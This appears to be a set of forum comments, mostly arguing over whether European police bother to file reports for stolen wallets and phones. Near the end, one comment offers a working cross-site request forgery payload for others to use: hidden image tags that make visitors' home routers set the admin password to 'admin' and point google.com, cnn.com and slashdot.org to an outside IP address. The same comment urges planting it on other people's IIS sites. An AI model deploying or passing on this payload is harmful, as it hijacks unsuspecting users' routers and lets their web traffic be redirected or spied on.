I'm telling you that walking in any busy police department in any city bigger than 100,000 people and asking for signatures on paper so that you can force Amazon to do something is a fools errand.
Not true. My father successfully got a police report in Lisbon (564657 inhabitants) for a stolen wallet, which contained far less than $300. And there was a huge queue, so it's not as if the police were underworked either.
Third: At what price level is Police involvement warranted? Its not exactly Grand Theft Kindle you know. Cops have a few more important things to do.
But they should a least do a report, which you can then use for your travel insurance, or (in this case) for Amazon. And here in Europe, Police usually do take the time to do a report, even for trivial thefts or losses (even if no investigation follows... but in this case, all you need is the report number).
Fifth: Cellphone companies in Europe do put stolen phones on a list. They can't be activated.
Not true, at least not in Luxembourg. A friend of mine got his cellphone stolen, he reported it to the police, but they claimed that although technically possible to block and locate it (by its IMEI number), it was policy that this was not done for a mere theft... (you'd have to wonder in what circumstances they would actually use the feature).
You've apparently never tried to report a stolen wallet or backpack, or even modest laptop. You fill out forms, answer questions,a nd they do _nothing_. It's just not important enough.
But at least you get the report form, needed to claim damages from your insurance company.
And if the stolen item does happen to fall into their lap, you do get it back. Case in point: my father got his wallet stolen in Lissabon, reported it to the police, and a couple of months later, he got it back.
What happens usually with wallets is that the thieves are "only" interested in the cash, and throw away the wallet (along with papers "useless" to them) as soon as possible (because it's dangerous to them to have id papers on them, which are not theirs). Eventually, somebody finds the wallet (because the thiefs don't bother with properly putting it into the trash, but rather throw it into the nearest bush or whatever), and brings it to the police... which then can send it back to you, if they've got a report on file.
If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):
<img src="http://192.168.1.254/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
If you think the system is working, ask someone who's waiting for a prompt.
